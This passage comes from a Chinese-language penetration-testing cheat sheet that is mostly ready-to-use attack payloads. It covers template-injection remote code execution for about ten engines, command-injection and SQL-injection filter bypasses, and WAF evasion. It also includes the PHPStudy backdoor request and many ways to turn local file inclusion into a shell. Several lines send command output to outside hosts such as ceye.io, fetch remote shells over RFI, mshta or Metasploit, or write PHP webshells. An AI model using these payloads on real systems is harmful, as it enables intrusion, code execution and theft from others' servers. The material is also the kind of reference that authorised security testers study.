{{request.__class__}}
绕过[和]
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
绕过|join
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
绕过最常见的过滤器（'.'、'_'、'|join'、'['、']'、'mro' 和 'base'）
https://twitter.com/SecGus
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```

**Jinjava**

```
基本注入
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
命令执行
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```

**Less**

```
SSRF / LFI
@import (inline) "http://localhost";
或者
@import (inline) "/etc/passwd";
Lessjs < v3 - 命令执行
body {
  color: `global.process.mainModule.require("child_process").execSync("id")`;
}
插件
使用本地插件的例子
@plugin "plugin-2.7.js"	;
使用远程插件的例子
@plugin "http://example.com/plugin-2.7.js"
版本 2 RCE
functions.add('cmd', function(val) {
  return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
});
版本 3 及更高版本的RCE 
//Vulnerable plugin (3.13.1)
registerPlugin({
    install: function(less, pluginManager, functions) {
        functions.add('cmd', function(val) {
            return global.process.mainModule.require('child_process').execSync(val.value).toString();
        });
    }
})
```

**Mako**

```
<%
import os
x=os.popen('id').read()
%>
${x}
TemplateNamespace 直接访问os模块
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}

POC
>>> print(Template("${self.module.cache.util.os}").render())
<module 'os' from '/usr/local/lib/python3.10/os.py'>
```

**Pebble**

```
基本注入
{{ someString.toUPPERCASE() }}
代码执行
旧版本< 版本 3.0.9
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
新版本
<div data-gb-custom-block data-tag="set" data-cmd='id'></div>
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}
```

**Ruby**

```
基本注入
ERB：
<%= 7 * 7 %>
Slim：
#{ 7 * 7 }
读取/etc/passwd
<%= File.open('/etc/passwd').read %>
列出文件和目录
<%= Dir.entries('/') %>
ERB代码执行
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Slim代码执行
#{ %x|env| }
```

**Smarty**

```
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```

**Twig**

```
基本注入
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{app.request.server.all|join(',')}}
任意文件读取
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
代码执行
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
邮件传递 FILTER_VALIDATE_EMAIL PHP 的示例
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```

**Velocity**

```
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```


# 命令执行

```
#### 命令执行
>curl http://0ox095.ceye.io/`whoami`
>ping `whoami`.b182oj.ceye.io
>ping %CD%.lfofz7.dnslog.cn 
&
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
```

**XXE**

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
```

**Struts**

```
xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
```

**weblogic**

```
/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
```

**Resin**

```
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
```

**Discuz**

```
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
```


# 命令注入

```
有时应用程序会接受用户提供的输入并作为参数传递给命令行上的工具。 将用户提供的输入传递给命令行总是一个坏主意，应该避免。 根据操作系统，您可以使用多种技术来执行其他命令，从而允许攻击者获得 RCE
& 
&&
|
||
;
`Command`
$(Command)
```

**工具**

```
https://github.com/commixproject/commix
```

**绕过 bypass**

**Linux无空格**

```
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
X=$'uname\x20-a'&&$X
sh</dev/tcp/127.0.0.1/4242
IFS=,;`cat<<<uname,-a`
;ls%09-al%09/home
```

**Windows**

```
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```

**绕过回车**

```
something%0Acat%20/etc/passwd
写文件
;cat>/tmp/hi<<EOF%0ahello%0aEOF
;cat</tmp/hi
hello
```

**通过十六进制编码绕过**

```
Linux
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```

**绕过字符过滤器**

```
没有反斜杠和斜杠的命令执行
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```

**绕过列入黑名单的词**

```
单引号w'h'o'am'i
双引号w"h"o"am"i
用反斜杠和斜杠绕过
w\ho\am\i
/\b\i\n/////s\h
使用 $@ 绕过
who$@ami

echo $0
-> /usr/bin/zsh
echo whoami|$0
使用 $() 绕过
who$()ami
who$(echo am)i
who`echo am`i
使用变量扩展绕过
/???/??t /???/p??s??

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
使用通配符绕过
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```


# Fuzz目录

```
>dirb http://192.168.0.1 /root/asp.txt,/root/dir.txt -a "USER-AGENT" –c "Cookie" -z 100
>nikto -C all -h http://192.168.0.107 nikto扫描web服务
>wpscan --url http://192.168.0.107/ -e u --wordlist /root/wordlist.txt 枚举用户爆破密码
>wpscan --url http://192.168.0.107/ -e vp 扫描漏洞插件
>perl joomscan.pl --url 192.168.0.107
```

**WFuzz**

```
爆破文件和文件夹
>wfuzz -w wordlist URL/FUZZ.php
>wfuzz -w wordlist URL/FUZZ
枚举数字参数
>wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ
POST账号密码爆破FUZnZ
>wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php
随机HTTP头
>wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
使用代理fuzz
>wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL/FUZZ
基础认证爆破
>wfuzz -z list,"username-password" --basic FUZZ:FUZZ URL
【结果过滤】--hc或--ss不显示符合条件的结果。
【结果过滤】--sc或--sl或--sw或--sh显示符合条件的结果。
```

**Cewl**

```
爬行网站存为字典
>cewl http://www.qq.com/ -w dict.txt
指定字典长度
>cewl http://www.qq.com/ -m 9 -w dict.txt
网站提取Email
>cewl http://www.qq.com/ -n –e
```

**Dirsearch**

```
-u 目标
-e 文件扩展名
-x 排除状态码结果
-w 指定字段
-r 递归扫描
-R 设置递归级别
-t 设置线程数（50-100）
-c cookie
>python3 dirsearch.py -u https://target
>python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist
>python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0.0.1:8080
>python3 dirsearch.py -e php,html,js -u https://target --proxy socks5://1.1.1.1:8080
>python3 dirsearch.py --random-user-agents --recursive --thread 50 --extension php --plain-text-report report.txt –url http://127.0.0.1
```

**dirmap**

```
>python dirmap.py -i https://target.com -lcf
>python dirmap.py -i 192.168.1.1 -lcf
>python dirmap.py -i 192.168.1.0/24 -lcf
>python dirmap.py -i 192.168.1.1-192.168.1.100 -lcf
>python dirmap.py -iF targets.txt -lcf
```


# CmdHijack

```
From: https://hackingiscool.pl/
poc完整的命令行
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe"
可能产生的影响
包括拒绝服务，信息泄露，任意代码执行（取决于目标应用程序和系统）。
以web应用为例
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/660.png)

```
由于使用了escapeshellcmd()，不易受命令注入的影响，使用本方法
一个poc
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/661.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/662.png)

```
不限于任何位置，文件
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/663.png)

```
再扩展一下 
如，powershell带-enc执行，或mshta等方法，可参考
https://lolbas-project.github.io/，但是依照windows的特性，在无法将完整字符串解析为有效路径的情况下，会拆分空格后面的内容，这里可以使用&符号
如：
>cmd.exe /c "cmd /c /../../../../../../../../../../windows/system32/calc&powershell -enc xxxx"
>cmd.exe /c "cmd /c /../../../../../../../../../../windows/system32/calc&mshta http://192.168.0.105:8080/xsuUEWJ.hta"
```


# 数据库

**Access**

```
空格符
%09、%0a、%0c、%0d、%16
```

**Mysql**

```
注释符
#、/*...*/、--[空格] ...
空格符
[0x09,0x0a-0x0d,0x20,0xa0]
特殊符号
%a 换行符，可结合注释符使用%23%0a，%2d%2d%0a。
%21  ！ 叹号
%2b  +  加号
%2d  -  减号
%40  @  符号
%7e   ~  波浪号
Id=1 union select(1),user()
Id=1 union /!12345select/1,user()
Id=1 union select@1,user()
Id=1 union select {x 1},user()
Id=1 union select"1",user()
Id=1 union select\N,user()
Id=1 union select 1,user()`
Id=1 union select 1,user()""
Id=1 union select 1,user()A
Id=1 union select 1,user()`b
Id=1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
浮点数
Id= 1.0union select 1,user()
Id= 1.union select 1,user()
Id= 1E0union select 1,user()
Id=\Nunion select 1,user()
Id=1 unionselect user(),2.0from admin
Id=1 union select user(),8e0from admin
Id=1 union select user(),\Nfrom admin
内联注释
/*!UnIon12345SelEcT*/ 1,user()   //数字范围 1000-50540
mysql黑魔法
select{x username}from {x11 test.admin};
函数
截取
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)) 
连接
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Ascii() Char() Hex() Unhex()
过滤逗号
127' UNION SELECT * FROM ((SELECT1)a JOIN (SELECT2)b JOIN (SELECT3)c JOIN (SELECT4)d JOIN (SELECT5)e)# 
相当于 union select 1,2,3,4,5
union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
limit 1 offset 0相当于limit 1,0
mid(version() from 1 for 1)相当于Mid(version(),1,1)
<>被过滤
id=1 and ascii(substr(database(),0,1))>64
比较符
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64
函数构造
sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5) 
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
select{x[可填充字符]1}
```

**MSSQL**

```
注释符
/*、--、;00%、/**/
空格符
[0x01-0x20][0x0a-0x0f][0x1a-0x-1f]
特殊符号
%3a 冒号
id=1 union:select 1,2 from:admin
id=1 union select+1,'2',db_name() from admin
id=1 union select-1,'2',db_name() from admin
id=1 union select.1,'2',db_name() from admin
id=1 union select:1,'2',db_name() from admin
id=1 union select~1,'2',db_name() from admin
id=1%20union%20select%201,'2',db_name()%80from%20admin
id=1 union select 1,'2',db_name+() from admin
函数变形: db_name[空白字符]()
浮点数
id=1.1union select 1,'2',db_name()
id=1e0union select 1,'2',db_name()
运算符
id=1-1union select '1',system_user,3 from admin
id=1e-union select '1',system_user,3 from admin
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
charindex('test',db_name())
字符串转换函数
Ascii('a')=char(97) 括号之间可添加空格
```

**WAF**

```
同时提交GET和POST
访问HTTP绕过对HTTPS的防护
%00截断
参数填充垃圾数据，缓冲区溢出
X-FORWARDED-FOR伪造绕过
静态文件/sql.php/1.js?id=1绕过
白名单绕过，URL只要存在某字符就不会拦截
/sql.php/admin.php?id=1
/sql.php?a=/manage/&b=../etc/passwd
/../../../manage/../sql.asp?id=2
伪造User-agent绕过，可改为爬虫agent
```


# PHPstudy后门

```
php:5.2.17   5.4.45

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 2
```


# PHP包含下载读取

#### php任意文件读取/下载

```
readfile()、file_get_contents()、fopen()等读文件的函数不严谨，读取文件路径可控，输出内容。
下载配置文件
Redis、Weblogic、ftp、mysql、web配置文件、history文件、数据库配置文件
下载log文件
下载web文件
/1.php?f=../../etc/passwd
/1.php?f=file:///etc/passwd(file://绕过../的防护)
/1.php?f=file:///etc/passwd
```

#### php文件包含

**函数:**

```
include
require
include_once
require_once
```

**常用协议**

```
file:// — 访问本地文件系统
file协议的工作目录是当前目录，使用file:///wwwroot/1.php等同于./wwwroot/1.php可用于绕过一些情况
php:// — 访问各个输入/输出流（I/O streams）
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/3.png)

**LFI**

**正常包含**

```
index.php?page=../../../etc/passwd
```

**空字节**

```
index.php?page=../../../etc/passwd%00
```

**双重编码**

```
index.php?page=%252e%252e%252fetc%252fpasswd
index.php?page=%252e%252e%252fetc%252fpasswd%00
```

**UTF-8 编码**

```
index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
```

**路径和点截断**

```
index.php?page=../../../etc/passwd............[ADD MORE]
index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
index.php?page=../../../etc/passwd/./././././.[ADD MORE] 
index.php?page=../../../[ADD MORE]../../../../etc/passwd
```

**过滤绕过技巧**

```
index.php?page=....//....//etc/passwd
index.php?page=..///////..////..//////etc/passwd
index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
```

**读文件**

```
1.php?file=php://filter/read=convert.base64-encode/resource=./1.php
1.php?file=pHp://FilTer/convert.base64-encode/resource=index.php
1.php?file=php://filter/read=string.rot13/resource=index.php
1.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```

**写文件**

```
/1.php?file=php://filter/write=convert.base64-decode/resource=[file]","base64
```

**Getshell**

```
https://github.com/D35m0nd142/LFISuite

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
```

**expect**

```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```

**allow\_url\_include 开启时Getshell**

```
远程文件包含
1.php?file=http://remote.com/shell.txt
1.php?file=php://input  POST:<?php phpinfo();?>
1.php?file=http://remote.com/shell.txt%00
1.php?file=http:%252f%252fremote.com%252fshell.txt
或使用curl
>curl -v "http://127.0.0.1:8888/ctf/cli/3.php?file=php://input" -d "<?php phpinfo();?>"
或使用data://协议解析base64的代码
/1.php?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==
```

**allow\_url\_include 关闭时Getshell**

```
攻击机开启共享
/1.php?file=//attacker/1.php
创建webdav服务，shell文件放入目录包含即可
>docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
Shell文件放入/root/webdav/data
/1.php?file=//attacker/1.php
```

**包含日志文件getshell**

```
Fuzz文件
https://github.com/fuzzdb-project/fuzzdb
https://github.com/danielmiessler/SecLists
https://blog.csdn.net/qq_33020901/article/details/78810035
/1.php?file=<?php phpinfo();?>
/1.php?file=../../../../../../../var/log/apache2/access.log
Win下使用phpstudy
请求/<?php phpinfo();?>
包含错误日志
/1.php?file=C:\phpStudy\Apache\logs\error.log

$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id

http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
```

**上传个图片格式的木马直接包含**

```
/1.php?file=/uploadfile/1.jpg
```

**限制后缀时**

```
<?php
$file = $_GET['file'].".php";
include($file);
?><br>
利用伪协议zip，构造一个zip压缩包，打包一个shell.php，将压缩包更名为png
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/4.png)

```
请求/1.php?file=zip://shell.png%23shell
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/5.png)

```
也可使用phar协议访问
/1.php?file=phar://shell.png/shell
老版本可以使用%00截断
/etc/passwd%00
(需要 magic_quotes_gpc=off，PHP小于5.3.4有效)
/var/www/%00
/etc/passwd/././././././.[…]/./././././.
(需要 magic_quotes_gpc=off
(php版本小于5.2.8(?)可以成功，linux需要文件名长于4096，windows需要长于256)
点号截断：
/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功，只适用windows，点号需要长于256)
```

**phpinfo-LFI 本地文件包含临时文件getshell**

```
利用临时文件删除时间差获取shell
需要一个lfi漏洞+phpinfo页面
在/tmp/目录下生成个密码为f的一句话木马g
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/6.png)

```
修改脚本的phpinfo文件名称
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/7.png)

```
LFI文件
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/8.png)

```
执行
>python getshell.py 192.168.0.108 80 100
80是端口、100是线程
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/9.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/10.png)

```
http://192.168.0.110/index.php?file=../../../tmp/g&f=echo%20%271%27
```

**session + lfi getshell**

```
session.upload_progress.enabled启用时，文件上传会产生进度文件
/var/lib/php5/sess_
/var/lib/php/sess_

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
将cookie设置为<?php system('cat /etc/passwd');?>
包含文件/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
```

**LFI SSH Log**

```
>ssh '<?php system($_GET['c']); ?>'@192.168.0.107
>ssh <?php system($_GET["cmd"]);?>@10.10.10.10
>http://192.168.0.107/lfi.php?file=/var/log/auth.log&c=ls
```

**邮件包含**

```
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
包含文件
http://example.com/index.php?page=/var/log/mail
```

**RFI&命令注入上线MSF**

```
MSF生成
#use exploit/multi/script/web_delivery
#set target PHP
注入点注入：
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.0.107:1234/OgsOFaj3yKH'));"
RFI：
http://www.xx.com/file=http://192.168.0.107:1234/OgsOFaj3yKH
```

**通过 /proc/\*/fd LFI 到 RCE**

```
上传大量的shell（例如：100）
http://example.com/index.php?page=/proc/$PID/fd/$FD，其中 $PID = 进程的 PID（可以被暴力破解）和 $FD 文件描述符（也可以被暴力破解）
```

**通过 /proc/self/environ LFI 到 RCE**

```
像日志文件一样，在User-Agent中发送payload，会体现在/proc/self/environ文件里面

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```

**通过上传完成LFI到RCE**

```python
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')
```

**工具**

```
https://github.com/P0cL4bs/Kadimus
https://github.com/kurobeats/fimap
https://github.com/lightos/Panoptic
```


# PHP FPM之RCE

```
>git clone https://github.com/neex/phuip-fpizdam.git
>cd phuip-fpizdam
>go get -v && go build
>go run . http://127.0.0.1/index.php
http://127.0.0.1/index.php?a=id
多执行几次
```


# PHPMyAdmin利用

**拿shell**

```
show variables like '%secure%'    
select '<?php eval($_POST[x]) ?>' into outfile '/var/www/xx.php';  
select '<?php eval($_POST[x]) ?>' into dumpfile '/var/www/xx.php';  
